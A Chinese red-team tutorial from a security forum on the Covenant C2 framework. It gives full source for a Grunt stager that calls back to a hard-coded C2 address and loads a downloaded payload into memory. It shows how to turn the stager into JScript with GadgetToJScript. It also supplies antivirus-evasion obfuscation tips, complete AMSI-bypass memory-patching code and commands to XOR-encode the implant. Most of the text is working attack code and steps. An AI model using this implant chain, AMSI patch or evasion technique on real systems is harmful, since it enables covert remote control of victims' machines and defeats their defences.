分享者才是学习中最大的受益者!
Covenant
前言
C2技术在红蓝对抗种,重要性不言而喻,现在师傅们热衷于CobaltStrike,它确实是一个不错的C2。
但是因为一些付费等等方面的原因,使用起来也不是很方便。
今天学习一下Covenant,一款源码级别的 Csharp C2,向师傅们致敬!
抱着学习的态度 写的就啰嗦了一点,望师傅们见谅!
优点
1.它是基于Windows系统,开发语言是Csharp,属于微软的东西
2.DotNet版本要求 > 3.5,使用Windows .NET的好处是:它支持静默安装
命令
dotNetFx40_Full_x86_x64.exe /q /norestart /ChainingPackageFullX64Bootstrapper
/q静默安装
/norestart 不要重启
3.可扩展性特别强,因为它本身提供了很多API接口 和 自定义功能
安装
Covenant它也分本地安装和docker安装(推荐后者)
具体可以看这里:https://github.com/cobbr/Covenant/wiki/Installation-And-Startup
以docker安装作为演示
注:需要科学上网
sudo apt install proxychains4
sudo apt install vim
sudo vim /etc/proxychains4.conf
proxychains git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
sudo docker build -t covenant .
启动
sudo docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v /home/dayu/Covenant/Covenant/Data:/app/Data covenant
-it参数:Docker参数,在交互式tty中开始Covenant,如果不想附加到tty,可以将其排除
-p参数:将端口公开到Covenant Docker容器。这个是必须将公开端口7443和要启动侦听器的任何其他端口。
-v参数:在主机和容器之间创建一个共享的数据目录
要指定数据目录的绝对路径,不能使用相对路径
注:一定要把Covenant映射到Docker镜像里面对应的目录,如果没有的话,就跑不起来,因为所有的功能模块都在Data目录里面
注:移除所有Covenant数据并进行初始化恢复
执行命令:
docker rm covenant docker run -it -p 7443:7443 -p 80:80 -p 443:443 --namecovenant -v :/app/Data covenant--username AdminUser --computername 0.0.0.0
报错 80端口被占用
sudo netstat -nultp
sudo service apache2 stop
#关闭Apache2服务
重新启动一下
这次指定一下本地的 IP
sudo docker run -d -p 127.0.0.1:7443:7443 -p 80:80 -p 443:443 --name covenant -v /home/dayu/Covenant/Covenant/Data:/app/Data covenant
sudo docker ps -l
docker命令小合集
docker images 列出所有镜像
docker rmi -f id 删除镜像id
docker ps 列出所有容器
docker ps -a 查看曾经运行的容器
docker rm -f id删除容器
访问
https://127.0.0.1:7443
刚开始 会让我们 注册一个用户
成功登录
实操使用
Listeners
创建监听
注:这里HttpProfile 我选择的是:DefaultHttpProfile
创建完成
默认的HttpProfile
可以看到有四个
可以打开新页(open Link in new Tab)去看一下
DefaultHttpProfile
CustomHttpProfile
下面基本是一样的
TCPBridgeProfile
具体写法可以参考这里:https://github.com/cobbr/C2Bridge
相当于一个模板
Launchers
注:这10个生成方式 现在都是被杀软拦截的
以Binary为例
Templates
上线测试
注:本地测试学习 杀软就关掉了
Grunts
上线之后呢
会有一个提示
点一下 Name 即可进入交互界面
下面这些 都是可以修改的
默认有很多默认的 可以执行的任务
Tasks
Taskings
历史执行过的命令
Graph
Data
实际获取到的内容
Users
https://3xpl01tc0d3r.blogspot.com/2020/02/gadgettojscript-covenant-donut.html
这里是会弹一个MessageBox提示窗口
1:判断传入的dllstring不为空
2:一个循环 将传入的dll按`,`分隔
3:循环添加refdll
继续
重新生成解决方案
继续
把Covenant的Binary Launcher的Code源码 扒过来
这里贴一下 方便一些
using System;
using System.Net;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.IO.Pipes;
using System.Reflection;
using System.Collections.Generic;
using System.Security.Cryptography;
namespace GruntStager
{
public class GruntStager
{
public GruntStager()
{
ExecuteStager();
}
[STAThread]
public static void Main(string[] args)
{
new GruntStager();
}
public static void Execute()
{
new GruntStager();
}
public void ExecuteStager()
{
try
{
List<string> CovenantURIs = @"http://192.168.175.209:80".Split(',').ToList();
string CovenantCertHash = @"";
List<string> ProfileHttpHeaderNames = @"VXNlci1BZ2VudA==,Q29va2ll".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
List<string> ProfileHttpHeaderValues = @"TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDEuMC4yMjI4LjAgU2FmYXJpLzUzNy4zNg==,QVNQU0VTU0lPTklEPXtHVUlEfTsgU0VTU0lPTklEPTE1NTIzMzI5NzE3NTA=".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
List<string> ProfileHttpUrls = @"L2VuLXVzL2luZGV4Lmh0bWw=,L2VuLXVzL2RvY3MuaHRtbA==,L2VuLXVzL3Rlc3QuaHRtbA==".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
string ProfileHttpPostRequest = @"i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73".Replace(Environment.NewLine, "\n");
string ProfileHttpPostResponse = @"<html>
<head>
<title>Hello World!</title>
</head>
<body>
<p>Hello World!</p>
// Hello World! {0}
</body>
</html>".Replace(Environment.NewLine, "\n");
bool ValidateCert = bool.Parse(@"false");
bool UseCertPinning = bool.Parse(@"false");
Random random = new Random();
string aGUID = @"518387fa18";
string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
byte[] SetupKeyBytes = Convert.FromBase64String(@"rrONV/NTSPl4sU0FVzoK1TxidURN/ORaK0Yh6sMzG24=");
string MessageFormat = @"\{\{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""\}\}";
Aes SetupAESKey = Aes.Create();
SetupAESKey.Mode = CipherMode.CBC;
SetupAESKey.Padding = PaddingMode.PKCS7;
SetupAESKey.Key = SetupKeyBytes;
SetupAESKey.GenerateIV();
HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());
byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey);
string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));
ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
{
bool valid = true;
if (UseCertPinning && CovenantCertHash != "")
{
valid = cert.GetCertHashString() == CovenantCertHash;
}
if (valid && ValidateCert)
{
valid = errors == System.Net.Security.SslPolicyErrors.None;
}
return valid;
};
string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
CookieWebClient wc = null;
string Stage0Response = "";
wc = new CookieWebClient();
wc.UseDefaultCredentials = true;
wc.Proxy = WebRequest.DefaultWebProxy;
wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
string CovenantURI = "";
foreach (string uri in CovenantURIs)
{
try
{
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
{
if (ProfileHttpHeaderNames[i] == "Cookie")
{
wc.SetCookies(new Uri(uri), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", ""));
}
else
{
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", ""));
}
}
wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""));
CovenantURI = uri;
}
catch
{
continue;
}
}
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
{
if (ProfileHttpHeaderNames[i] == "Cookie")
{
wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
}
else
{
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
}
}
Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
List<string> parsed = Parse(extracted, MessageFormat);
string iv64str = parsed[3];
string message64str = parsed[4];
string hash64str = parsed[5];
byte[] messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
SetupAESKey.IV = Convert.FromBase64String(iv64str);
byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true);
Aes SessionKey = Aes.Create();
SessionKey.Mode = CipherMode.CBC;
SessionKey.Padding = PaddingMode.PKCS7;
SessionKey.Key = FullyDecrypted;
SessionKey.GenerateIV();
hmac = new HMACSHA256(SessionKey.Key);
byte[] challenge1 = new byte[4];
RandomNumberGenerator rng = RandomNumberGenerator.Create();
rng.GetBytes(challenge1);
byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
hash = hmac.ComputeHash(EncryptedChallenge1);
string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));
string Stage1Response = "";
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
{
if (ProfileHttpHeaderNames[i] == "Cookie")
{
wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
}
else
{
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
}
}
Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
extracted = Parse(Stage1Response, ProfileHttpPostResponse)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
parsed = Parse(extracted, MessageFormat);
iv64str = parsed[3];
message64str = parsed[4];
hash64str = parsed[5];
messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
SessionKey.IV = Convert.FromBase64String(iv64str);
byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
byte[] challenge1Test = new byte[4];
byte[] challenge2 = new byte[4];
Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; }
SessionKey.GenerateIV();
byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
hash = hmac.ComputeHash(EncryptedChallenge2);
string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));
string Stage2Response = "";
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
{
if (ProfileHttpHeaderNames[i] == "Cookie")
{
wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
}
else
{
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
}
}
Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
extracted = Parse(Stage2Response, ProfileHttpPostResponse)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
parsed = Parse(extracted, MessageFormat);
iv64str = parsed[3];
message64str = parsed[4];
hash64str = parsed[5];
messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
SessionKey.IV = Convert.FromBase64String(iv64str);
byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey });
}
catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); }
}
public class CookieWebClient : WebClient
{
public CookieContainer CookieContainer { get; private set; }
public CookieWebClient()
{
this.CookieContainer = new CookieContainer();
}
public void SetCookies(Uri uri, string cookies)
{
this.CookieContainer.SetCookies(uri, cookies);
}
protected override WebRequest GetWebRequest(Uri address)
{
var request = base.GetWebRequest(address) as HttpWebRequest;
if (request == null) return base.GetWebRequest(address);
request.CookieContainer = CookieContainer;
return request;
}
}
public static List<string> Parse(string data, string format)
{
format = Regex.Escape(format).Replace("\\{", "{").Replace("\{\{", "{").Replace("\}\}", "}");
if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); }
if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); }
if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); }
Match match = new Regex(format).Match(data);
List<string> matches = new List<string>();
if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); }
if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); }
if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); }
return matches;
}
public static class MessageTransform
{
public static string Transform(byte[] bytes)
{
return System.Convert.ToBase64String(bytes);
}
public static byte[] Invert(string str) {
return System.Convert.FromBase64String(str);
}
}
}
}
注:这里可以把路径简写 看着方便点
prompt study
cd 查看目录
打开vs studio开发者模式
切换目录
编译cs文件
csc /t:exe Grunt.cs
执行一下
上线了
GadgetToJScript
前言
GadgetToJScript是一个Csharp的项目:https://github.com/med0x2e/GadgetToJScript
Covenant是一个.NET
开发的C2(Command and Control)框架,旨在突出.NET
的攻击面,并充当红队成员的协作命令和控制平台
使用.NET Core
的开发环境,不仅支持Linux,MacOS和Windows,还支持docker容器
Covenant是支持动态编译,能够将输入的C#代码上传至C2 Server,获得编译后的文件并使用Assembly.Load()从内存进行加载
GadgetToJscript用于生成.NET
序列化的工具,当使用基于JS/VBS/VBA脚本中的BinaryFormatter反序列化时,该工具可以触发.NET
程序集加载/执行,同时相比James Forshaw的DotNetToJScript添加了绕过.Net 4.8+阻止Assembly.Load
的功能。
两者结合学习
实操
下载的GadhetToJscript项目用Vistual Studio 2019打开
GadgetToJscript的编译过程属于动态编译,里面涉及到很多DLL的引用
定位到TestAssemblelyLoader.cs文件
编译生成GadgetToJScript.exe
由于grunt.cs代码中有两个命名空间不被包含在System.dll里
1、System.Linq;
2、System.IO.Pipes;
它们在System.Core.dll里,所以调用的时候我们需要手动添加System.Core.dll,在命令行输入:
GadgetToJScript.exe -w js -f Grunt.cs -d System.Core.dll -o matrix
-w 是输出文件的格式
-d 是需要添加的dll,如果有多个可以用逗号隔开
-f 是我们引入的csharp文件,这里我们选择刚才的 grunt.cs 测试
-o 是输出的文件名
然后我们会得到名为matrix.js的文件,打开matrix.js文件。
分析一下这个js文件
stage_1:为了绕过Win10中对Assembly.load的限制
stage_2:加载的核心程序集
测试js文件,运行
cscript matrix.js
JS文件的混淆免杀Tips
杀软一般标记的是变量名、字符串
1.针对字符串,可以把双引号和单引号去掉
比如
原先
("aaa")
转换成
(/aaa/.source)
2.针对一些转义问题
原先 双引号中的\\
就要替换成\
举例
原先的路径
("D:\\7-Zip\\1\\")
转换成
(/D:\7-Zip\1/.source + '\\')
内存修补Bypass AMSI
主要思路是通过找到内存中AmsiScanBuffer函数的位置,然后通过patch,让AmsiScanBuffer这个函数不再继续运行,直接在函数的开始让它返回一个0
后来微软进行了一次更新对.NET
程序集AmsiScanBuffer的扫描结果必须返回一个有效值
0xb8, 0x57, 0x00, 0x07, 0x80
,同时要加上0xC3(0xC3是return)
PatchAmsi.cs代码如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
namespace AMSI
{
public class Program
{
[DllImport("kernel32")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
private static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
static void Main(string[] args)
{
new Program();
}
public Program()
{
Patch();
}
public static void Patch()
{
// Console.WriteLine("-- AMSI Patching");
//Console.WriteLine("-- Paul (@am0nsec)\n");
// Get the DllCanUnload function address
IntPtr hModule = LoadLibrary("amsi.dll");
//Console.WriteLine("[+] AMSI DLL handle: " + hModule);
IntPtr dllCanUnloadNowAddress = GetProcAddress(hModule, "DllCanUnloadNow");//AmsiScanBuffer
//Console.WriteLine("[+] DllCanUnloadNow address: " + dllCanUnloadNowAddress);
// Dynamically get the address of the function to patch
byte[] egg = { };
if (IntPtr.Size == 8)
{
egg = new byte[] {
0x4C, 0x8B, 0xDC, // mov r11,rsp
0x49, 0x89, 0x5B, 0x08, // mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, // mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, // mov qword ptr [r11+18h],rsi
0x57, // pushrdi
0x41, 0x56, // pushr14
0x41, 0x57, // pushr15
0x48, 0x83, 0xEC, 0x70 // sub rsp,70h
};
}
else
{
egg = new byte[] {
0x8B, 0xFF, // mov edi,edi
0x55, // pushebp
0x8B, 0xEC, // mov ebp,esp
0x83, 0xEC, 0x18, // sub esp,18h
0x53, // pushebx
0x56// pushesi
};
}
IntPtr address = FindAddress(dllCanUnloadNowAddress, egg);
// Console.WriteLine("[+] Targeted address: " + address);
// Change the memory protection of the memory region
// PAGE_READWRITE = 0x04
uint oldProtectionBuffer = 0;
VirtualProtect(address, (UIntPtr)2, 4, out oldProtectionBuffer);
// Patch the function
byte[] patch = { 0xb8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
Marshal.Copy(patch, 0, address, 6);
// Reinitialise the memory protection of the memory region
uint a = 0;
VirtualProtect(address, (UIntPtr)2, oldProtectionBuffer, out a);
}
private static IntPtr FindAddress(IntPtr address, byte[] egg)
{
while (true)
{
int count = 0;
while (true)
{
address = IntPtr.Add(address, 1);
if (Marshal.ReadByte(address) == (byte)egg.GetValue(count))
{
count++;
if (count == egg.Length)
return IntPtr.Subtract(address, egg.Length - 1);
}
else
{
break;
}
}
}
}
}
}
注:第一:代码中不能直接出现AmsiScanBuffer
的字符串,否则会被amsi识别,所以替换成DllCanUnloadNow
用egg hunt的方式,以DllCanUnloadNow
的函数地址为基址寻找AmsiScanBuffer函数的地址,再patch
第二:因为微软的更新,使得对.net Assembly.load
的程序集扫描结果必须返回一个有效值,所以替换为0xb8,0x57,0x00,0x07,0x80
后再加上return 0xC3
编译一下
执行一下
上WinDbg调试看看是否成功 Bypass Amsi
File-Attach
定位到amsi 查看Patch是否成功
两者结合
以Grunt.exe作为例子
1.把exe读取到一个数组中
[byte[]]$rawbytes = [System.IO.File]::ReadAllBytes("C:\Users\12550\Desktop\知识\项目学习\GadgetToJScript\GadgetToJScript-1.0\GadgetToJScript\bin\x64\Release\Grunt.exe")
2.查看exe的字符串大小
$rawbytes.length
3.简单异或0x77
for ($i = 0; $i -lt $rawbytes.Length; $i++){$rawbytes[$i] = $rawbytes[$i] -bxor 0x77}
4.base64编码一哈 并复制到剪切板
[System.Convert]::ToBase64String($rawbytes) | clip
放到PatchAmsi.cs文件中
注意这里的Patch();
编译测试成功后命令行运行:
GadgetToJScript.exe -w js -d System.Core.dll -f PatchASB.cs -o PatchASB
测试js文件,运行
cscript matrix.js
ok! 就到这里
总结
Covenant是一个.NET
命令和控制框架,二次开发的可扩展性不比其他的C2差
分享者才是学习中最大的受益者!
希望可以帮到各位师傅
- 本文作者: 略略略
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/919
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!